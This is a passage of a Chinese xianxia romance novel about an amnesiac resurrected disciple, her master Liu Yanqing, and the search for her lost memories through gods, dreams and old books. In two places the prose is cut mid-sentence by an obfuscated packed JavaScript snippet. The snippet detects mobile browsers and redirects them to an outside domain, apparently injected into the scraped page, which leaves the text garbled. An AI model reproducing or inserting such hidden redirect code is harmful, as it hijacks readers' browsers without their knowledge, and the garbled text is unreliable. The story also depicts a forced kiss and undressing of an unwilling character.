我稍稍夹着嗓音,声音拐着弯冲他撒娇。 “周师叔和沈师叔都等你去呢。而且,别的弟子师父都会去,你不能让清雨和如雪,还有小五小六小七小八孤零零坐一桌吧。” 柳砚清沉沉叹了口气,估计是觉得聒噪,离我远了些。 “人不少了,够坐一桌。我不去,大家也吃得开心些。” “不够!你不在就是不够!医鹿山的执掌人不参加集体晚宴,就是不行!” 我盯着他,他也有些错愕地回望着我。片刻后弱下气势无奈道:“我对肉汤没有兴趣。” “有的有的!” 我又继续苦口婆心地劝说,甚至将汤中所用药材一一列举。他最终妥协,或许是不愿再听我絮絮叨叨。 一轮肉汤下肚,桌上的菜肴一扫而空,我才发现柳砚清的位置空了。我起身寻找,最终在门外的走廊上找到了他。 他独自倚栏而立,手中捧着暖手炉,目光远眺,似乎在思索什么。 我裹紧披风,在他身旁坐下。他淡淡看了我一眼,未置一词,默许了我的陪伴。 “下山后得空多回山,他们挺喜欢你的。”他忽然开口,声音低沉。 “那师尊呢?”我试探着问道。 “不许叫我师尊。不想。” 我强忍心中的失落,故作轻松地用手肘轻轻撞了撞他。 “口是心非。” “何以见得?”他侧目看我。 “就凭师尊没有马上说不想,而是先说了别的。” 我勉强挤出一丝笑容,心中却酸涩难当。 柳砚清沉默片刻,露出了无奈又好笑的表情。他微乎其微地上扬嘴角,目光再次投向远方。 也不知道是不是肉汤补气,还是他眼眸中的光点填满了我心里长久以来的空旷,我挪动身子离他近了些。 彼此间只剩下半臂的距离。 “之前师尊说我甚至不会写信,您放心,此次下山,我会每月都给师尊,还有清雨如雪写信的。山下遇到什么好玩的好吃的,我也会托邮差给你们带回来。只是邮差不能上医鹿山……放在山下的鹿镇,等师尊下山时取也行。到时候得麻烦师尊跑一趟啦。” 我滔滔不绝地说着,柳砚清始终一言不发,眼眸中映照着远山的轮廓。 忽然,他低沉声音,不知是问我还是问自己。 “兴许救你时,哪一步走错了吧。” “啊?” 我一时未反应过来。 仙鹤展翅飞来,喙中衔着一颗黑色棋子,稳稳落在松柏枝头。 松枝轻晃,鹤羽随风微动,棋子被轻轻放下,鹤首微抬,目光沉静。 “没什么。” 柳砚清从仙鹤上收回视线,微垂着目光,轻声叹息,仿佛在自言自语。 “我也差不多习惯了。” 又是这句话。 我能感受到他心中的无奈,眼眶微微发酸。 而他接下来的话,却如春风般驱散了我心头的寒意。 “别忘了你说的话。” 我哭笑不得,仰头深吸一口山间的冷气,终于笑出声来。 “承认吧师尊,你其实挺中意我的。要不,就认了我这徒弟吧,啊?” “不许叫我师尊。而且,我永远都不会认你为徒。” 他的语气依旧冰冷。 “为什么!” 我几乎吼了出来,柳砚清眼中闪过一丝惊讶。我立刻认怂,低下头。 “失态了……可我想不明白。师尊您给解释解释?” “等你回忆起过去,就明白了。” 又是过去。 他总是用相同的话术搪塞过去,隐瞒自己,不愿以真实的一面面对我。 让我总不安的去想,是不是曾经的我做了什么对不起他的事。 霜降时节,远山如铁冷峻而孤寂,枯枝在寒风中低吟,天地间弥漫着一股难以言喻的寂寥,连飞鸟也悄然无踪,只剩下一片萧瑟的静默。 “您……不会寂寞吗?” “什么?” 他略带疑惑地侧目看向我。 “我把你忘了,只有你一个人还记得我们之间发生的故事。只有你一个人,还陷在回忆里。师尊你到现在……也没有接受我如今的样子吧。” 我的声音在发抖,心中压抑已久的情绪终于爆发。 柳砚清沉默不语,脸上的表情慢慢变得落寞。 “你偶尔才露出的笑容,是因为想起了过去,透过我看到了过去,所以才露出发自内心的笑吧。” “不是的……” 我无视他几乎听不见的声音,抽了抽鼻子继续说:“每每想起过去你都会从我身边逃避。是因为你不愿……不对,你根本不想承认此刻在你面前的,是你努力挽救回来的人。是不是?” 那张清隽的脸有一瞬失了神。 我仰头将泪水逼回眼眶,努力平复心情。 “师尊,你讨厌我吗?” “……不讨厌。” “我离开,你会伤心吗?” 他沉默片刻,终于低声说道:“会。” 心中一震,泪水终于夺眶而出。 我伸出手,捧起他的脸,强行固定住他想躲闪的脸,想避开我的视线。 “师尊,我要你只看着我,我要你的眼里有我。是现在的我,复生后的我。” 我要他看着我,只看着我。我紧紧地盯着他,想努力看清他身上的每个细节。 然后,不顾他紧闭的双唇,吻了上去。 唇齿相撞,蛮横与决绝。 我的气息炽热而混乱,决绝要将所有的委屈、不甘与痴恋都倾注在这一吻中。 柳砚清的身体僵在原地,停滞在半空的手说明了一切—— 他甚至不想碰我。 “师尊……你看我啊……” 我低声呢喃,泪水滑落在他的脸颊上。 顾不上他情不情愿,我抓住他胸前的衣襟,用力扯开,颤抖的指尖流淌过他的脖颈和胸前。 “师尊,我好像……喜欢上你了。我到底做错了什么让你这么对我?就因为我……不是曾经的我吗?” 身体不受自己的控制,四肢脱离意识的掌控。 鼻尖只想深埋进他的体内吸食他的味道,是药草和他身上那股令人安心的味道。 掌下的温度和他这张嘴一样,总说些令人心寒的话。 “师尊……我好痛苦啊……你为何偏偏……救我,然后折磨我……” 我终于明白为什么柳砚清随时要我平心静气。 太痛苦。 胸口像是被无形的巨石压住,每一次吸气都带着刺入骨髓的痛。 思绪如乱麻,纠缠不清。 喉咙连一声低吟都发不出,只有大滴的泪水无声滑落,浸湿他的衣襟。 无尽的痛苦在心底肆虐,将一切吞噬殆尽。 我心知眼下说过的所有话,明日一早或往后的日子都后悔莫及,但倘若不说,我更不甘心。 “砚清——” 我才刚叫出他的名字,鼻尖蓦地一酸,想要说的话通通哽在喉咙里。 柳砚清的身体颤抖,最终抬起双臂,将我紧紧揽入怀中。 “抱歉。” 熟悉的人说着陌生的话。 他拥住我,安抚我,对着我视野之外的天地长叹。 “对不起……对不起……我不是你想救回的人……对不起……” 柳砚清轻轻抚摸着我的头发,低沉沙哑的嗓音落入耳畔。 “我早该知道的。” 他的声音很轻,但每一个字都清晰地钻进我的耳朵。 “我早该知道救回你会失去什么。但我不敢接受你失忆的事实。我不愿相信……你把我,连我也忘记了。我深知留不住你,我从来都留不住你。倒不如断了念想。就当——” 你已经死了。 柳砚清咽下了没说完的话,但我能猜到他的意思。 无用的心照不宣,无用的心有灵犀。 我终于脱离剧痛,无力地瘫在他身上。 抬起头,双手轻轻撑在他的胸口,泪眼朦胧地看着他。 这次,他没有躲闪,认真地回应我的目光。 “……风。” 他低声唤道,指尖轻轻拂去我脸上的泪水,温柔地整理我头顶凌乱的发。 我们之间的距离近在咫尺,他伸手将我鬓边的一缕头发别上去。 我俯下身,额头靠上他的胸膛,手掌一遍一遍安慰我轻颤的后背。 为何,能感受到温热?是仙术吗? “这次,不会再重复同样的结局了。” 雪,纷纷扬扬。悄然飘落,覆盖了医鹿山的每一寸土地。 肩上的雪,发顶的雪,眼前的雪。 仙人收起仙术,恢复成毫无温度的身躯。抱着怀中睡去的人,心思成惘。 残留的余温悄无声息,散落成白色的灰。 入冬了。 【又拂卿柳】 医鹿山,藏书阁。 袖中飞出的流萤点亮了晦暗的书房,柳砚清拂袖扫开浮尘,信步走向最深处的书架,指尖掠过最上层那排古旧的书脊,最终停在一册残破的竹简上。 南北时期留下的古籍历经岁月,上面的字迹已经看不清,无论柳砚清如何施法修复也无济于事。 看来得找专业的神仙帮忙了。 合上书卷,柳砚清转身向外走去。 走出藏书阁,仙鹤已在门外恭候多时。见他出来,立刻恭敬地低下头。 “带我去找枕书君。我记得他和元君吵架去了霜洲地界。” 仙鹤长鸣一声,振翅而起。 霜洲地界,万里皑皑,寒雾凝作玉屑,簌簌浮游于天地之间。 万丈冰崖,神树生焉。 再往北便是昆仑山,西王母所居,也因此,霜洲地界常有神仙道人在此修炼。 地界,人神交界之地。 柳砚清要找的枕书君不是自愿来此修炼的神,而是躲着自家夫人逃来的。 仙鹤稳稳落在一处铺满白雪的平台,眼前是一棵巨大的神树,具体有多高无法估量。 只见一玄衣男子乘着玄鹤自九霄而来,领着柳砚清和仙鹤朝树干中央飞去。 这里是枕书君的居所,树干中间别有洞天,流水落花芳草鲜美,所有的书随着悬浮的书架在空中依次排开。 柳砚清递上医鹿山找出的旧书,希望枕书君能记得书中的内容。 掌管书籍的神,背下了世间所有书的内容。 “起死回生之术不该连同生前的记忆一同消失,我想从 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16056722|179140||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 书中寻找答案,可惜……” 枕书君的寒舍难得有客人来,于是邀请柳砚清在石台上坐。 “难得襟袂相聚,陪我手谈两局吧。蜉蝣之事,暂且不谈。” “蜉蝣?”柳砚清立刻捕捉到云枕书话里的重点,“是旷野的蜉蝣吸取了她的记忆,所以重生后丢失了记忆?” 枕书君一僵,手里的棋子“啪嗒”掉在棋盘上。 “我……吾还什么都没说呢……” 云枕书肉眼可见的失落,“唉,自从来了霜洲,整日与书与树作伴,好生无趣。” “为何不回蓬莱第几宫?” “回去干嘛?找打找骂吗?”云枕书猛地坐直,又软下来整个人瘫在石桌上,“比起精神折磨,我还是选择这天寒之地,只受皮肉折磨。” “元君近来消瘦许多,枕书君若有空,还是回蓬莱看看她吧。” “……” 云枕书眸子暗淡片刻后。 “不去。去了,消瘦的不就成我了吗?” 柳砚清摆首。 “口是心非。” 果真是旷野的蜉蝣吸取了她的记忆,真是自己当时晚了一步,没料到那群蜉蝣的动作如此之快。 旷野上的蜉蝣,与从前朝生暮死之虫不同,此处的蜉蝣靠着啃食人的记忆与肉身获得永生。 还有一种死法,跳入大江。 溺水而亡者,魂魄沉入地府,虽终究要饮下孟婆汤忘却前尘,但至少记忆能留存至轮回之前。 而若在旷野上徘徊至死,肉身便会渐渐透明,最终消散于天地之间,连入轮回的资格都丧失殆尽。 三种死法,她都经历过。 “所以蜉蝣的存在……”柳砚清喃喃道,“不只是肉身,连三魂七魄都要从世间抹除?” “如此是否说明,西洲孤岛起死回生的传说……是假的?”云枕书也不禁跟着喃喃,“又或者,旷野上的一切,都是刻意存在,为了不让人接近西洲孤岛,窥探孤岛的秘密?” 否则朝生暮死的蜉蝣怎会永生? 孤岛的秘密……一座仅存在梅花和传说的孤岛会有什么秘密? 云枕书忽然忆起,神鸟从悬浮的书架上取下他所要翻找的书籍,落在两人面前。 “我曾在书中见过关于西洲孤岛的记载。似乎在某位上仙的回忆录中……” 云枕书边说边快速翻阅书页。 柳砚清静待一旁,思绪飘回医鹿山那个不知在做何事的人身上。 “找到了!果然如此!” 云枕书握紧摊开的书,指着上排的文字,说:“桑竹仙子!这本书是桑竹仙子临死前写下的!里面不仅记载了她死之前通过神镜看到的未来,以及过去她经历的一切。” 柳砚清接过书,云枕书突然插上一句:“只需看这一页,后面的是未来天机,不可泄露。” “嗯,我知道。” 书中,桑竹仙子写到: 西洲孤岛与世隔绝,与三界隔绝。掌握起死回生的氏族度日如年,无法死亡,无法蜕变。漫长乏味的时光侵蚀着他们的灵魂和躯体。终有一日,自己走向万劫不复。 柳砚清合上书,不解道:“桑竹仙子怎会知道?我也曾去过西洲孤岛,但那里……根本没有人。” 云枕书沉思片刻,“莫非是赤方神仙告知她的?” “当年,桑竹仙子是如何去世的?” 云枕书听到柳砚清的问题,正想反问,忽地又自圆其说:“忘了你那时还未到蓬莱……桑竹仙子是病逝的,在妻妹出生后不久。撑着最后一口气,坐在水镜前七天七夜,欲要把四个孩子的未来所面临的劫难记下。此书所涉及的未来,也大多关于妻妹的,所以我才不许你看。” “……枕书君这不说出来了。” “啊!抱歉,快失忆!我什么都没说,你什么都没听到!” “嗯。” 云枕书沉下心继续说:“桑竹仙子的死因一直未公之于众,大仙不许。但如果她到过西洲孤岛,踏足过旷野……那她的死或许与某些不可言说的隐秘有关。” 柳砚清目光暗淡。 “没人能活着走出旷野,无论人神。若是桑竹仙子亲身到过,亲眼所见,不可能重回蓬莱记载下来……” 他突然止住话头,摇了摇头。 “不对。” “什么不对?” “有这可能。” 云枕书心里咯噔一下,“你是说……有可能活着回去,还写下来了?从那个妻妹去过的那个旷野?” 柳砚清没再说话,忽地起身就要离开。 “我想起重要的事情,刚才的话当我没说,后会有期。” “欸?妹夫??你不能说话只说一半啊!妹夫!” 柳砚清匆匆离开是想起了曾经大仙同他讲起过关于西洲孤岛的事。 “自顾不暇,都快忘了此事。” 【逆梦归尘】 百年前,东海边的礁石上,方大仙领着新收的徒弟盘腿坐在上方,冰冷的海水拍打着礁石。 自柳砚清拜入门下已有数年,年轻人勤恳好学,颇有成效。 南风依旧耐不住性子,三天两头往凡间跑,然后灰溜溜躲回蓬莱。 “起死回生之术对一个人只能用一次,这与施术者没关系。举个例子。” 方大仙掌心变化出一只南风用竹节雕刻出的人偶说道:“它第一次死了,吾救了他。倘若它再死一次,吾不能救他,但你可以。” 随着方大仙的话音,柳砚清的眸光慢慢晦暗。 不单纯因为竹节人偶的模样是南风,还有莫名升起的恐惧和心慌。 只是一个人偶,为什么会预感到方大仙的话会在未来一语成阙。 攥在方大仙掌心的人偶露着天真的笑脸,背面还被人歪歪扭扭刻上南风二字。 方大仙叹息道:“起死回生啊……若不是天君的意思,吾本打算就此失传,让这违背天命的术法从三界消失。” 柳砚清看向方大仙,淡淡吐露心中的疑惑:“西洲孤岛上的人不是长生不老吗?怎会只剩您一个人?” “人一直不老不死的活着,真的是好事一件吗?若非吾遇到桑竹,恐怕也同他们一起离开了。” “离开是指……” “自焚。” 数以千计的人,受够了漫长没有尽头的寿命,整个氏族的人跪坐在旷野的浅草上,静静等待蜉蝣的降临。 人太多了,蜉蝣啃食不动了,氏族的首领便召唤来天火焚烧剩下的人。 大火烧了十天十夜,暗红的血无法燃烧,渗入半透明的岩板下,犹如暗河流淌。 思绪断开,柳砚清自嘲似的笑道: “明知旷野隐匿天地的秘密,却在第一次亲眼看着她坠入江河,第二次又亲眼看着她差点被旷野折磨致死…… 我才是那个致她于不幸的罪魁祸首啊。” 10. 轻红落雨 【入卿梦也】 似曾相识的感觉再次袭来,仿佛在过去的某一日,同样的场景、同样的情绪曾在我心中翻涌。 眼前是漫天的红绸,四处挂着喜庆的红灯笼,窗户、门扉贴满了红色的双喜字。噼里啪啦的鞭炮声中,我被人牵着走下花轿。 透过盖头下端的空隙,我看见了那双手——布满茧却极尽温柔的手。 是一双少年将军的手。 鼓乐彩舆,凤凰霞帔,花烛拜堂。我的少年牵着我的手,缓步入堂前,一升一拜。 我盖着红盖头端坐床边,房间里烛火摇曳,门外热闹的声音直到天色暗下才慢慢褪去。 人声散去,我的少年却迟迟未归。 直到窗外的声音再次响起。不过这一次,是揪人心弦的声音。 我顾不了礼仪流程,掀开盖头,夺门而出。 血红色的雨水淋湿发丝,滴落进眼眶,又在脚边的泥潭里汇聚成涓涓细流。 模糊的视线中,拿着长刀的红衣少年正劈开挡住前路的敌人。 上空的电光划破沉寂的夜色,闪过的光芒映照在他被鲜血玷污的脸庞。 檐廊亮起的烛火摇曳,灯笼上的喜字和眼下的杀戮格格不入。 不喜庆,反而阴森。 “祈源……放弃吧……再厮杀下去,你会没命的……” 无意识喊出的名字,陌生又熟悉,却百思不得他到底是谁。 我穿着一身喜红色,头上的凤冠和发髻略微凌乱,手里死死抓着的……好像是盖头。 与他之间似有一道透明墙壁一样的障碍,脚下隐形的荆棘爬满我的小腿,不许我再往前半步。 眼睁睁看着他被层层包围,直至彻底被黑压压的人群吞没。 “啊——!!!!!” 少年痛苦与不甘的呻吟随着利刃穿透身体而发出。 梦境的风吹得比平时慢悠悠的,天上细雨不断,浇打少年的红衣裳。 腥红血雨……不,哪里是雨,分明是从他身体里流出的鲜血。 困住他的人群逐渐散去,拿着长刀的少年跪地不起,意志却撑着他紧握手中的长刀。踉跄着站起,又跪地不起。 风停了,雨还在下。 黑夜,红衣和鲜血融在一起。他后背刀口涌出的鲜血顺着雨水流失,流到我的脚边。 白光再次闪过,我看着他吃力地回过头,干净清亮的眼眸与我四目相对。 哪怕已经千疮百孔,他看向我时,脸上依然挂着笑容。 尽管这个笑容看上去是那么扭曲。 “对不起。” “等我……风……” 我读懂了他的唇语,他说等我,他知道我的名字。 只是一刹那,脑海里似乎闪过了一段少年的记忆—— 明媚花海,他牵着心爱的姑娘,奔跑在漫天金黄下…… 可是那声“对不起”又是从哪里发出的? 隔着雨帘,我对他伸出了手,握住了一手雨水。残败的身躯终于支撑不住倒在湿滑的地面,流到我脚边的血也越来越多。 他死了吗? 困住他的人群散去,黑色的人群向四方退下,唯有一抹黑色迟疑了片刻。 我惊恐着对上那上布满血丝的双眸,虽然只是一眼,我看到了他手攥紧的卷轴。 “对不起。” 那声道歉,是他?可他又是谁? 下一刻,空气凝滞,裹挟着血腥味的风雨也停了。身体终于恢复了自如,我终于能迈出一步,朝他奔去。 但在迈出步子的瞬间,电光再次闪过,光芒刺得我视野内一片煞白。 待光芒消散,地上的人和脚边的血都不见了。 整个空间,整个梦境,除了我,皆是虚白。 我定了定神,迅速环视四周,试图寻找到那个熟悉的身影。 “祈源?” “祈源!” “贺祈源你在哪儿!” 无论我怎么呼唤,都无人回应。头上的金丝翠玉摇晃着发出声响,身上的霞帔凌乱地挂在臂弯处。 怎么会消失呢? 刚才惊心动魄的一幕明明还历历在目,我丝毫不敢懈怠,无论如何,必须尽快找到他。 否则,他真的会—— “他已经不在这里了。” 又一个熟悉的声音从背后响起。等我回头,却看见一张陌生的脸。 我吓得后退一步,差点被自己的裙摆绊倒。我诧异地问道:“你是谁?” 青衫竹纹的男人没有立刻回答我的问题,抬脚走到我面前。 清秀略微苍白的脸上露出一抹柔和的笑。 他,认识我? 我紧张地攥紧衣角,目光躲闪,不敢直视他的眼睛。 或许我的疑惑明摆在脸上,他笑着捋了捋我垂在脸侧的发丝至耳后。 顷刻间,头上的凤冠和身上的霞帔转瞬消失,喜红色的衣裳也眨眼间变成杏子色的交领襦裙。 “失忆了?” 轻柔的声音一下道出了我的秘密。 我警觉地上下打量他,脚步不自觉地朝后退半步。 眼下我不知道自己在哪里,也想不起眼前的人是谁,一切谨慎些。而且刚才遇见他之前……我似乎在很急切地寻找谁。 谁……? 好像,没有谁。 “你认识我?” 我刻意与他保持距离,他也懂得分寸没再靠近。男人笑着,目光深邃紧盯着我发间的青竹发簪。 他的声音轻轻的,似在怀念过去。 “你还是很喜欢竹。” 他的指尖轻轻碰了碰发簪上的竹叶纹路,替我将发簪往发间推了推,动作熟稔得仿佛做过无数次。 因为靠得很近,我一眼看到他青衫上印着的竹纹。 一种强烈的熟悉感猛然涌上心头,我急忙抬头撞进他始终看向我的眼眸。 “你……什么名字?” “闻笙。”他浅浅一笑,“是个云游四方的教书先生。” 我看向他沉稳的眼睛,他也默默半眯着笑眼,像是期待我能记起他。 但我没能做到。脑袋胀痛得厉害,隐隐闪过一些片段,却什么也捕捉不到。 见我茫然无措的样子,闻笙并不惊讶,单手抚上我的脸颊,视线又是不经意落向发簪,说道:“这里是神器给你制造的梦境。现在想起来也不重要,等你醒过来,一切又会忘记。” 我缩了缩脖子,避开他的触碰,小声嘀咕:“可、可是……”我蹙眉疑惑:“是梦……你是怎么知道的?” 他笑着点了点我头上发簪镶嵌的竹叶,说:“大概是神叫我来的吧。不过你放心,因为是梦,你也不必担心我会对你做什么。” “神?为什么你会知道……” 我还是无法完全信任他,犹豫着取下头上的发簪捧在手里,挽好的头发瞬间散落,披散在后背,发尾垂至腰间。 “头发变短了?”他说着手探进我的发间,钳住一撮头发捋至发尾,“我来帮你栉束。” “我以前头发很长?等等,你会梳女子的发髻?!” 我瞪大了眼睛,难以置信地看着他。 “嗯,比现在长一点吧。” 看着他真诚又柔情的样子,我放下戒备,把发簪递到他手心。 闻笙弯起唇角,绕到我身后,捞起我的头发,心细缓慢地替我栉束。 插上发簪,一个简单干练的发髻梳理完毕。闻笙心细地递来一面镜子,我看着镜子里的自己,缓慢眨了眨眼。 唉,想到是梦便觉可惜,要是醒来就是这发型该多好。 只是这张脸…… 我竟量避开视线,不看镜中的脸。 闻笙忍俊不禁地看着我,又替我整理了一下身前的衣襟。 “我们又要分开了。” “又?” 我困惑地歪着头,完全不明白他的意思。 不明白为什么是又,明明在我的意识里,这是我们第一次见面。而且,是在梦里。 “对了,你知道我的名字吗?” 我鼓起勇气,终于问出了这个问题。闻笙微微颔首,答道:“当然。风。” “什么风?” 我既期待又害怕他的回答。 柳砚清告诉过我,风,只是我的名。只有找到知晓我真正姓名的人,记忆才会恢复。 闻笙显然是认识我的,他能被神邀请至我的梦里,一定有其道理。 闻笙勾唇笑了笑,不紧不慢地抓住我的手,在我的掌心一笔一划,写了很久,似乎写了一首很长的诗。 这些文人都喜欢用诗来卖关子吗……都不怕我是个文盲,全然不知所言吗…… “东方未明,颠倒衣裳。颠之倒之,自公召之……折柳樊圃,狂夫瞿瞿。不能辰夜,不夙则莫。” 他又念一遍写在我掌心的诗,每一个字都说得很清晰,像是要我牢牢记住。 可是梦醒来,我不见得还记得。 而且……这也太长了喂!不不不,凡是有例外,总有梦是能被记住的。 “这是,诗?” 我小心翼翼地问道,生怕自己理解错了。 “没错。诗中藏有你的名字。” 我坚定地对上他的视线,想告诉他,我会记得,醒来以后的第一件事就是找出纸笔写下来。 一阵风起,闻笙衣裳上的竹纹也随之浮动,恍惚间,我好似听到了竹林摇曳的声音。 我转眼望向一个方向,仿佛过去无数次朝那个方向望去——窗台边书案上的笔架,坐在桌边只需抬头望,竹林豁然 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16056723|179140||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 开朗。 虚白的视野里,怎么会有这样的错觉? 我怔怔地望着虚白的空间,仿佛透过它看到了另一个世界。 竹林摇曳的声音越来越清晰,仿佛在召唤我,带我回到某个熟悉的地方。 闻笙的身影渐渐模糊,他的声音也随着风飘散,只剩下那句诗在我耳边回荡。 “东方未明,颠倒衣裳……” 我低声呢喃着,试图抓住那些零碎的记忆片段。可它们像流沙一样,迅速从指缝中溜走。 闻笙彻底消失,虚白的梦境开始崩塌,四周的景象如同被撕碎的画卷,一片片剥落。 我猛地睁开眼睛,发现自己正躺在一张木床上,头顶是斑驳的房梁,阳光透过窗棂洒在地上,形成斑驳的光影。 四周陈设陌生,我坐起身,揉了揉发胀的太阳穴,梦中的情景依旧在脑海中挥之不去。 “祈源……闻笙……” 我低声念着这两个名字。 祈源是谁?闻笙又是谁?为什么他们的身影会如此清晰地出现在我的梦中?还有那首诗,意味着什么? 头脑昏沉,我下意识地掀开被子,赤脚踩在冰凉的地板上。 身体似乎比意识更熟悉这里。 我径直走向后院,仿佛早已走过千百遍。 摈弃杂念,走到室外。 外面是景致园林,一棵槐花树下挂着秋千,池边凉亭内摆着未下完的棋局。 黑子与白子交错,局势胶着,可我几乎没有犹豫,伸手抓起一枚白子,指尖触到冰凉的玉石时,竟有种奇异的笃定。 此局只有一种结果。 我斟酌许久,将白子落在右上方。棋盘上,连成线的黑子瞬间将白子团团围住。 白子输了。 “风姑娘,你醒了?” 一个温和的声音从身后传来。 我转过头,看到柳砚清穿着月白色的长袍,手里端着一碗热气腾腾的药汤。 他刚才是不是叫我风姑娘?他从来不会这么叫我…… “你昨晚睡得不安稳,一直在说梦话。堂中事物处理完后,我请李叔去抓了些安神的药,趁热喝吧。” 我怔怔地接过碗,指尖相触的瞬间,他的手指温热如常。 但只一瞬,他的手收回得极快,那触感仿佛只是我的错觉。 堂中?李叔?他在说谁? 端起他送来的碗,药汤的苦涩在舌尖蔓延,却让我一下清醒。 我抬头看向柳砚清,犹豫片刻,还是开口问道:“砚清可曾听说过一个叫祈源的人?或者……闻笙?” 他摇了摇头:“未曾听过。他们是你的故人吗?” 我苦笑了一下,低头看着碗中的药汤:“或许吧。只是……我记不清了。” 柳砚清没有多问,只是轻轻拍了拍我的肩膀:“记忆这种事,强求不得。或许有一天,你会自然而然地想起来。” 他的语气温和,可不知为何,我总觉得那话里藏着别的意味。 我点点头,心中依旧无法释怀。梦中的情景太过真实,仿佛是我亲身经历过的往事。可为什么我一点都想不起来? 喝完药后,我想去外面走走。 踏出院门时,余光瞥见柳砚清仍站在原地,月白的衣袍被风吹起一角,可院中分明无风。 “你想和我一起去吗?” 他浅笑着摇头。 “我不能。” 我不解地歪头,但没追问,挥手同他道别。 大门口立着一张巨大的鼓,头顶的牌匾写着三个字,什么州府……独独第一个字模糊不清。 我眯起眼仔细辨认,那模糊的笔画竟像是有生命一般,微微蠕动,时而似“光”,时而似“信”,最终又归于混沌。 青石板的街道旁丹桂飘香,一棵树下坐着位白发苍苍的老人,正闭目养神。 他的衣摆下露出一截枯枝般的脚踝,皮肤上布满树皮般的纹路。 我悄悄走过去,不过想看看他旁边那棵开得最盛的桂花。 “有些事,强求不得。若是有缘,自会相见;若是无缘,强求也是徒劳。凡人的寿命有限,哪儿知道还活着吗。” 我诧异地望向老人。 “您在和我说话吗?” “……” 闭着眼的老人似乎睡着了。正要离开,老人又突然叫住我。 “不必多虑。反正梦醒之后,你什么都不记得了。” 他缓缓睁眼,瞳孔竟是浑浊的琥珀色。 “梦?” 我还未反应过来,老人起身走到我跟前,琥珀色的眸子散发出金光,指尖点上我的额头。 瞬间,眼前的画面“咔”地裂开一道细缝,视野如墨汁晕染开去。 “忘记这场梦,然后,醒过来吧。” 11. 三眠未歇 【又拂卿柳】 秋季某日。 “她还是为了就那凡人去了旷野吗?” “是。” 赤方神仙心气郁闷,连连唉声叹气几次。 “此番唯有你可救她。可是……” 赤方神仙望着药房那幅西洲孤岛白梅和旷野的挂画,似是叹息道:“若再有下次,真就无人可救了。” 所有人都明白,这一次,容不得一点差错。那个要人命的地方,决不能再让她去第三次。 “吾告诉过你改写结局的方法。失败过一次,你就不愿再试吗?” 犀利的话语不是疑问,是在质问。 四目相对的瞬间,被质问的柳砚清下意识垂下脑袋,不敢直视那双金色的眼眸,解释说:“她自愿从我身边离开,我又何必干涉。砚清便想,倒不如帮她完成另一种结局。” 既然她最终的选择不是自己,那便助她奔向另一个春野。 宁愿让没有一丝记忆的她痛恨自己、讨厌自己,也不想让她再经历相同的痛。 苦涩的滋味漫开,柳砚清自嘲地偷偷笑了。 赤方神仙淡淡地收回视线,望向门外清冷的医鹿山殿前广场。 “吾始终认为你是个聪敏的孩子。没想到,和南风一样愚笨!”他一脸正色地骂出声,待气沉下去又问道:“南风现在何处?” “大概,地府。” “你不是救下了她?” “但她的游魂不知去了哪里,舍不得回来。” “……胡闹!” 赤方神仙有些恼怒地提高了声音,在安静的药房内形成短暂的回声。 柳砚清沉默着转身走近内室,取来一块正发出微弱光芒的石头递给赤方神仙,说:“这是捡到玉笛时,残留的神石部分。她在地府的时日过长,醒来后,恐怕会失了记忆。届时,我会让她去医鹿山后山的神像窟中见您。麻烦大仙到时将这玉石,依照闻笙曾赠予她的青竹发簪变幻,交给她,再告知她下山寻找九男九名,重走生前之路,方可寻回记忆。” 赤方神仙蹙眉疑惑,金色眸子忽闪而过凛冽的寒光:“吾从未听过这法子。” 柳砚清欠身认错:“砚清愚弱,起死回生时弄错了一道,最后只保住了魂魄。好在医鹿山书阁中有相应的病历记载。” “但你的元神大伤,半数修为耗尽。” 药房顿时陷入死寂,气氛焦灼,一股说不出的阴冷顿时弥漫开来。 片刻后,想到这是自己唯一的弟子,赤方神仙只好作罢,暂不追究。 “罢了,她能活着也多亏了你。吾知晓了。” 赤方神仙沉吟片刻,又继续说道:“此次,你不会又躲着不肯见她吧。九男九名,她第一次遇见你时,也编了个假名假姓吧?” 没想到大仙会提及此事,柳砚清本不想回答,但不得不答:“是……我会与她见面。一切都会准备妥当,大仙放心交于我吧。” 赤方神仙试图从柳砚清的神情中看出破绽,好猜测他是否有事情瞒着自己。 但柳砚清认真地保证,眼眸中的坚定没有一丝撒谎的痕迹。 “吾会让东婝给那光州的闻笙托梦,告知他南风一事。” “……嗯。” “你,暂且不告诉她姓名。” “……是。” 赤方神仙言简意赅地做完下一步安排,沉默片刻,赤方神仙发现了什么,年轻仙人的眸子中夹杂着诸多情绪,寒潭般的眸底似乎蒙上一层水雾。 “有心事?” “不。是——”柳砚清望向门外,她沉睡的房屋方向,“她马上醒了,我让清雨去唤她。大仙要见见她吗?” “不必了。吾怕一怒之下,将她抓回蓬莱,永世禁足。” 方大仙离开后,砚清在房中发神半晌,直到屋外隐约听见叠加的脚步声,才匆匆拿起桌上的书本开始佯装抓取草药。 清潭边,南风借着困意靠在自己的膝上。 柳砚清不言不语地看着怀中之人,神情始终淡淡的。 待她真正睡着后,轻轻盖上身旁敞开的木匣子,掩盖住盒子里散发的花香。 里面静静躺着几瓣来自蓬莱仙岛的“忘忧罗”,催人入梦的浅紫色花瓣边缘泛着银白月光。 水潭边白雾缭绕。 仙蝶从袖中飞出,落在她湿透的裙摆上,弹指间崭新如初。 柳砚清俯下身,轻轻贴在她的耳畔,唇瓣扫过她的耳垂,扫过侧颈,停在下颌处落下一吻。 